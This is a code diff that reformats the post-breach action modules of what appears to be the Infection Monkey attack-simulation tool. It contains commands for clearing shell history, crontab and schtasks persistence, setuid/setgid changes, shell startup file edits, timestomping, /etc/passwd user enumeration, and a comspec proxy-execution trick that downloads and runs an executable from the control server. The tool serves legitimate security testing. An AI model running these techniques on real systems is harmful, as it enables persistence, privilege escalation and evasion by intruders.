diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 7afd2e63164..9f6afc8291b 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -6,5 +6,4 @@ class TrapCommand(PBA): def __init__(self): linux_cmds = get_trap_commands() - super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, - linux_cmd=linux_cmds) + super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=linux_cmds) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index dd723c14d9c..5ecae1b5e52 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -13,10 +13,10 @@ LOG = logging.getLogger(__name__) -__author__ = 'VakarisZ' +__author__ = "VakarisZ" -DIR_CHANGE_WINDOWS = 'cd %s & ' -DIR_CHANGE_LINUX = 'cd %s ; ' +DIR_CHANGE_WINDOWS = "cd %s & " +DIR_CHANGE_LINUX = "cd %s ; " class UsersPBA(PBA): @@ -26,7 +26,7 @@ class UsersPBA(PBA): def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) - self.filename = '' + self.filename = "" if not is_windows_os(): # Add linux commands to PBA's @@ -34,7 +34,9 @@ def __init__(self): self.filename = WormConfiguration.PBA_linux_filename if WormConfiguration.custom_PBA_linux_cmd: # Add change dir command, because user will try to access his file - self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + self.command = ( + DIR_CHANGE_LINUX % get_monkey_dir_path() + ) + WormConfiguration.custom_PBA_linux_cmd elif WormConfiguration.custom_PBA_linux_cmd: self.command = WormConfiguration.custom_PBA_linux_cmd else: @@ -43,7 +45,9 @@ def __init__(self): self.filename = WormConfiguration.PBA_windows_filename if WormConfiguration.custom_PBA_windows_cmd: # Add change dir command, because user will try to access his file - self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + self.command = ( + DIR_CHANGE_WINDOWS % get_monkey_dir_path() + ) + WormConfiguration.custom_PBA_windows_cmd elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd @@ -81,16 +85,18 @@ def download_pba_file(dst_dir, filename): if not status: status = ScanStatus.USED - T1105Telem(status, - WormConfiguration.current_server.split(':')[0], - get_interface_to_target(WormConfiguration.current_server.split(':')[0]), - filename).send() + T1105Telem( + status, + WormConfiguration.current_server.split(":")[0], + get_interface_to_target(WormConfiguration.current_server.split(":")[0]), + filename, + ).send() if status == ScanStatus.SCANNED: return False try: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + with open(os.path.join(dst_dir, filename), "wb") as written_PBA_file: written_PBA_file.write(pba_file_contents.content) return True except IOError as e: diff --git a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py index a5e8d7d44cf..fab63095ed2 100644 --- a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py @@ -1,11 +1,14 @@ from infection_monkey.post_breach.clear_command_history.linux_clear_command_history import ( - get_linux_command_history_files, get_linux_commands_to_clear_command_history, get_linux_usernames) + get_linux_command_history_files, + get_linux_commands_to_clear_command_history, + get_linux_usernames, +) def get_commands_to_clear_command_history(): - (linux_cmds, - linux_cmd_hist_files, - linux_usernames) = (get_linux_commands_to_clear_command_history(), - get_linux_command_history_files(), - get_linux_usernames()) + (linux_cmds, linux_cmd_hist_files, linux_usernames) = ( + get_linux_commands_to_clear_command_history(), + get_linux_command_history_files(), + get_linux_usernames(), + ) return linux_cmds, linux_cmd_hist_files, linux_usernames diff --git a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py index a3545f124fa..642a42d5a86 100644 --- a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py +++ b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py @@ -5,19 +5,18 @@ def get_linux_commands_to_clear_command_history(): if is_windows_os(): - return '' + return "" - TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file' + TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file" return [ - '3<{0} 3<&- && ', # check for existence of file - 'cat {0} ' # copy contents of history file to... - f'> {TEMP_HIST_FILE} && ', # ...temporary file - 'echo > {0} && ', # clear contents of file - 'echo \"Successfully cleared {0}\" && ', # if successfully cleared - f'cat {TEMP_HIST_FILE} ', # restore history file back with... - '> {0} ;' # ...original contents - f'rm {TEMP_HIST_FILE} -f' # remove temp history file + "3<{0} 3<&- && ", # check for existence of file + "cat {0} " # copy contents of history file to... + f"> {TEMP_HIST_FILE} && ", # ...temporary file + "echo > {0} && ", # clear contents of file + 'echo "Successfully cleared {0}" && ', # if successfully cleared + f"cat {TEMP_HIST_FILE} ", # restore history file back with... + "> {0} ;" f"rm {TEMP_HIST_FILE} -f", # ...original contents # remove temp history file ] @@ -29,13 +28,13 @@ def get_linux_command_history_files(): # get list of paths of different shell history files (default values) with place for username STARTUP_FILES = [ - file_path.format(HOME_DIR) for file_path in - [ - "{0}{{0}}/.bash_history", # bash - "{0}{{0}}/.local/share/fish/fish_history", # fish - "{0}{{0}}/.zsh_history", # zsh - "{0}{{0}}/.sh_history", # ksh - "{0}{{0}}/.history" # csh, tcsh + file_path.format(HOME_DIR) + for file_path in [ + "{0}{{0}}/.bash_history", # bash + "{0}{{0}}/.local/share/fish/fish_history", # fish + "{0}{{0}}/.zsh_history", # zsh + "{0}{{0}}/.sh_history", # ksh + "{0}{{0}}/.history", # csh, tcsh ] ] @@ -47,9 +46,12 @@ def get_linux_usernames(): return [] # get list of usernames - USERS = subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", - shell=True - ).decode().split('\n')[:-1] + USERS = ( + subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + ) + .decode() + .split("\n")[:-1] + ) return USERS diff --git a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py index f7bceef729f..a38aa815b12 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py @@ -1,8 +1,12 @@ import subprocess -from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import get_linux_commands_to_schedule_jobs +from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import ( + get_linux_commands_to_schedule_jobs, +) from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( - get_windows_commands_to_remove_scheduled_jobs, get_windows_commands_to_schedule_jobs) + get_windows_commands_to_remove_scheduled_jobs, + get_windows_commands_to_schedule_jobs, +) from infection_monkey.utils.environment import is_windows_os diff --git a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py index 4ed5ff97066..09a8075e0ff 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py @@ -3,10 +3,10 @@ def get_linux_commands_to_schedule_jobs(): return [ - f'touch {TEMP_CRON} &&', - f'crontab -l > {TEMP_CRON} &&', - 'echo \"# Successfully scheduled a job using crontab\" |', - f'tee -a {TEMP_CRON} &&', - f'crontab {TEMP_CRON} ;', - f'rm {TEMP_CRON}' + f"touch {TEMP_CRON} &&", + f"crontab -l > {TEMP_CRON} &&", + 'echo "# Successfully scheduled a job using crontab" |', + f"tee -a {TEMP_CRON} &&", + f"crontab {TEMP_CRON} ;", + f"rm {TEMP_CRON}", ] diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py index 6fd888d6790..4c4927419af 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py @@ -1,12 +1,12 @@ -SCHEDULED_TASK_NAME = 'monkey-spawn-cmd' -SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe' +SCHEDULED_TASK_NAME = "monkey-spawn-cmd" +SCHEDULED_TASK_COMMAND = r"C:\windows\system32\cmd.exe" # Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md def get_windows_commands_to_schedule_jobs(): - return f'schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}' + return f"schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}" def get_windows_commands_to_remove_scheduled_jobs(): - return f'schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1' + return f"schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1" diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 93d10d45ef9..e9bf6193565 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -11,7 +11,7 @@ LOG = logging.getLogger(__name__) -__author__ = 'VakarisZ' +__author__ = "VakarisZ" class PBA(Plugin): @@ -60,7 +60,9 @@ def run(self): exec_funct = self._execute_default result = exec_funct() if self.scripts_were_used_successfully(result): - T1064Telem(ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action.").send() + T1064Telem( + ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." + ).send() PostBreachTelem(self, result).send() else: LOG.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") @@ -87,7 +89,9 @@ def _execute_default(self): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode() + output = subprocess.check_output( + self.command, stderr=subprocess.STDOUT, shell=True + ).decode() return output, True except subprocess.CalledProcessError as e: # Return error output of the command diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 88898455144..315cdac0b0a 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -7,7 +7,7 @@ LOG = logging.getLogger(__name__) -__author__ = 'VakarisZ' +__author__ = "VakarisZ" PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py index b1f40b5b7a6..5a4a7f1dc35 100644 --- a/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py +++ b/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py @@ -1,11 +1,11 @@ -TEMP_FILE = '$HOME/monkey-temp-file' +TEMP_FILE = "$HOME/monkey-temp-file" # Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md def get_linux_commands_to_setuid_setgid(): return [ - f'touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s {TEMP_FILE} &&', + f"touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s {TEMP_FILE} &&", 'echo "Successfully changed setuid/setgid bits" &&', - f'rm {TEMP_FILE}' + f"rm {TEMP_FILE}", ] diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py index 7760ab900f0..8997e143c40 100644 --- a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py +++ b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py @@ -1,4 +1,6 @@ -from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import get_linux_commands_to_setuid_setgid +from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import ( + get_linux_commands_to_setuid_setgid, +) def get_commands_to_change_setuid_setgid(): diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py index 60e47d50ce8..ddd8f514b21 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py @@ -5,36 +5,43 @@ def get_linux_commands_to_modify_shell_startup_files(): if is_windows_os(): - return '', [], [] + return "", [], [] HOME_DIR = "/home/" # get list of usernames - USERS = subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", - shell=True - ).decode().split('\n')[:-1] + USERS = ( + subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + ) + .decode() + .split("\n")[:-1] + ) # get list of paths of different shell startup files with place for username STARTUP_FILES = [ - file_path.format(HOME_DIR) for file_path in - [ - "{0}{{0}}/.profile", # bash, dash, ksh, sh - "{0}{{0}}/.bashrc", # bash + file_path.format(HOME_DIR) + for file_path in [ + "{0}{{0}}/.profile", # bash, dash, ksh, sh + "{0}{{0}}/.bashrc", # bash "{0}{{0}}/.bash_profile", - "{0}{{0}}/.config/fish/config.fish", # fish - "{0}{{0}}/.zshrc", # zsh + "{0}{{0}}/.config/fish/config.fish", # fish + "{0}{{0}}/.zshrc", # zsh "{0}{{0}}/.zshenv", "{0}{{0}}/.zprofile", - "{0}{{0}}/.kshrc", # ksh - "{0}{{0}}/.tcshrc", # tcsh - "{0}{{0}}/.cshrc", # csh + "{0}{{0}}/.kshrc", # ksh + "{0}{{0}}/.tcshrc", # tcsh + "{0}{{0}}/.cshrc", # csh ] ] - return [ - '3<{0} 3<&- &&', # check for existence of file - 'echo \"# Succesfully modified {0}\" |', - 'tee -a {0} &&', # append to file - 'sed -i \'$d\' {0}', # remove last line of file (undo changes) - ], STARTUP_FILES, USERS + return ( + [ + "3<{0} 3<&- &&", # check for existence of file + 'echo "# Succesfully modified {0}" |', + "tee -a {0} &&", # append to file + "sed -i '$d' {0}", # remove last line of file (undo changes) + ], + STARTUP_FILES, + USERS, + ) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py index 65774c2addf..0be9ec3698d 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py @@ -1,7 +1,9 @@ -from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import \ - get_linux_commands_to_modify_shell_startup_files -from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import \ - get_windows_commands_to_modify_shell_startup_files +from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( + get_linux_commands_to_modify_shell_startup_files, +) +from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( + get_windows_commands_to_modify_shell_startup_files, +) def get_commands_to_modify_shell_startup_files(): diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index a4d32938e1e..51769227699 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -5,23 +5,27 @@ def get_windows_commands_to_modify_shell_startup_files(): if not is_windows_os(): - return '', [] + return "", [] # get powershell startup file path - SHELL_STARTUP_FILE = subprocess.check_output('powershell $Profile').decode().split("\r\n")[0] + SHELL_STARTUP_FILE = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0] SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\") # get list of usernames - USERS = subprocess.check_output('dir C:\\Users /b', shell=True).decode().split("\r\n")[:-1] # noqa: DUO116 + USERS = ( + subprocess.check_output("dir C:\\Users /b", shell=True).decode().split("\r\n")[:-1] + ) # noqa: DUO116 USERS.remove("Public") - STARTUP_FILES_PER_USER = ['\\'.join(SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + - [user] + - SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]) - for user in USERS] + STARTUP_FILES_PER_USER = [ + "\\".join( + SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:] + ) + for user in USERS + ] return [ - 'powershell.exe', - 'infection_monkey/post_breach/shell_startup_files/windows/modify_powershell_startup_file.ps1', - '-startup_file_path {0}' + "powershell.exe", + "infection_monkey/post_breach/shell_startup_files/windows/modify_powershell_startup_file.ps1", + "-startup_file_path {0}", ], STARTUP_FILES_PER_USER diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index 5db88cfc467..cfabaafecf2 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -1,8 +1,10 @@ import subprocess from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( - get_windows_commands_to_delete_temp_comspec, get_windows_commands_to_proxy_execution_using_signed_script, - get_windows_commands_to_reset_comspec) + get_windows_commands_to_delete_temp_comspec, + get_windows_commands_to_proxy_execution_using_signed_script, + get_windows_commands_to_reset_comspec, +) from infection_monkey.utils.environment import is_windows_os @@ -13,5 +15,7 @@ def get_commands_to_proxy_execution_using_signed_script(): def cleanup_changes(original_comspec): if is_windows_os(): - subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116 + subprocess.run( + get_windows_commands_to_reset_comspec(original_comspec), shell=True + ) # noqa: DUO116 subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py index 6cdf5fe015c..b1918a7162a 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py @@ -2,27 +2,24 @@ from infection_monkey.control import ControlClient -TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe') +TEMP_COMSPEC = os.path.join(os.getcwd(), "random_executable.exe") def get_windows_commands_to_proxy_execution_using_signed_script(): download = ControlClient.get_T1216_pba_file() - with open(TEMP_COMSPEC, 'wb') as random_exe_obj: + with open(TEMP_COMSPEC, "wb") as random_exe_obj: random_exe_obj.write(download.content) random_exe_obj.flush() - windir_path = os.environ['WINDIR'] - signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf') + windir_path = os.environ["WINDIR"] + signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf") - return [ - f'set comspec={TEMP_COMSPEC} &&', - f'cscript {signed_script}' - ] + return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"] def get_windows_commands_to_reset_comspec(original_comspec): - return f'set comspec={original_comspec}' + return f"set comspec={original_comspec}" def get_windows_commands_to_delete_temp_comspec(): - return f'del {TEMP_COMSPEC} /f' + return f"del {TEMP_COMSPEC} /f" diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py index 5638e16ccee..2956c140f01 100644 --- a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py @@ -34,9 +34,7 @@ def set_os_windows(monkeypatch): @pytest.fixture -def mock_UsersPBA_linux_custom_file_and_cmd( - set_os_linux, fake_monkey_dir_path, monkeypatch -): +def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", CUSTOM_LINUX_CMD, @@ -56,9 +54,7 @@ def test_command_linux_custom_file_and_cmd( @pytest.fixture -def mock_UsersPBA_windows_custom_file_and_cmd( - set_os_windows, fake_monkey_dir_path, monkeypatch -): +def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", CUSTOM_WINDOWS_CMD, @@ -80,9 +76,7 @@ def test_command_windows_custom_file_and_cmd( @pytest.fixture def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_linux_filename", CUSTOM_LINUX_FILENAME, @@ -96,13 +90,9 @@ def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): @pytest.fixture -def mock_UsersPBA_windows_custom_file( - set_os_windows, fake_monkey_dir_path, monkeypatch -): +def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_windows_filename", CUSTOM_WINDOWS_FILENAME, @@ -122,9 +112,7 @@ def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypat "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", CUSTOM_LINUX_CMD, ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None) return UsersPBA() @@ -140,9 +128,7 @@ def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monke "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", CUSTOM_WINDOWS_CMD, ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None) return UsersPBA() diff --git a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py index ee6c02f58a6..4860e2d3e51 100644 --- a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py @@ -1,13 +1,13 @@ -TEMP_FILE = 'monkey-timestomping-file.txt' -TIMESTAMP_EPOCH = '197001010000.00' +TEMP_FILE = "monkey-timestomping-file.txt" +TIMESTAMP_EPOCH = "197001010000.00" def get_linux_timestomping_commands(): return [ f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && ' - f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && ' - f'cat {TEMP_FILE} ; ' - f'rm {TEMP_FILE} -f' + f"touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && " + f"cat {TEMP_FILE} ; " + f"rm {TEMP_FILE} -f" ] diff --git a/monkey/infection_monkey/post_breach/timestomping/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/timestomping.py index 321904c416c..5e71d1e509c 100644 --- a/monkey/infection_monkey/post_breach/timestomping/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/timestomping.py @@ -1,5 +1,9 @@ -from infection_monkey.post_breach.timestomping.linux.timestomping import get_linux_timestomping_commands -from infection_monkey.post_breach.timestomping.windows.timestomping import get_windows_timestomping_commands +from infection_monkey.post_breach.timestomping.linux.timestomping import ( + get_linux_timestomping_commands, +) +from infection_monkey.post_breach.timestomping.windows.timestomping import ( + get_windows_timestomping_commands, +) def get_timestomping_commands(): diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py index 9f23193f73d..952ae46c662 100644 --- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py @@ -1,8 +1,8 @@ -TEMP_FILE = 'monkey-timestomping-file.txt' +TEMP_FILE = "monkey-timestomping-file.txt" def get_windows_timestomping_commands(): - return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1' + return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1" # Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md diff --git a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py index 8a251e2581b..0b9c74b041e 100644 --- a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py +++ b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py @@ -1,5 +1,5 @@ def get_linux_trap_commands(): return [ - 'trap \'echo \"Successfully used trap command\"\' INT && kill -2 $$ ;', # trap and send SIGINT signal - 'trap - INT' # untrap SIGINT + "trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;", # trap and send SIGINT signal + "trap - INT", # untrap SIGINT ] diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py index 2bfb219727b..245f7574ba7 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py @@ -1,4 +1,4 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules -hiddenimports = collect_submodules('infection_monkey.exploit') -datas = (collect_data_files('infection_monkey.exploit', include_py_files=True)) +hiddenimports = collect_submodules("infection_monkey.exploit") +datas = collect_data_files("infection_monkey.exploit", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py index e80038ebd81..07a29b08603 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py @@ -1,4 +1,4 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules -hiddenimports = collect_submodules('infection_monkey.network') -datas = (collect_data_files('infection_monkey.network', include_py_files=True)) +hiddenimports = collect_submodules("infection_monkey.network") +datas = collect_data_files("infection_monkey.network", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py index 55dc7c8c951..9f83c775dae 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py @@ -1,6 +1,6 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules # Import all actions as modules -hiddenimports = collect_submodules('infection_monkey.post_breach.actions') +hiddenimports = collect_submodules("infection_monkey.post_breach.actions") # Add action files that we enumerate -datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True)) +datas = collect_data_files("infection_monkey.post_breach.actions", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py index 10fe02a1724..22d2740bba4 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py @@ -1,6 +1,6 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules # Import all actions as modules -hiddenimports = collect_submodules('infection_monkey.system_info.collectors') +hiddenimports = collect_submodules("infection_monkey.system_info.collectors") # Add action files that we enumerate -datas = (collect_data_files('infection_monkey.system_info.collectors', include_py_files=True)) +datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py index 3e2bed17e99..2dd8325ce90 100644 --- a/monkey/infection_monkey/pyinstaller_utils.py +++ b/monkey/infection_monkey/pyinstaller_utils.py @@ -1,7 +1,7 @@ import os import sys -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" def get_binaries_dir_path(): @@ -9,7 +9,7 @@ def get_binaries_dir_path(): Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) :return: Binaries dir path """ - if getattr(sys, 'frozen', False): + if getattr(sys, "frozen", False): return sys._MEIPASS else: return 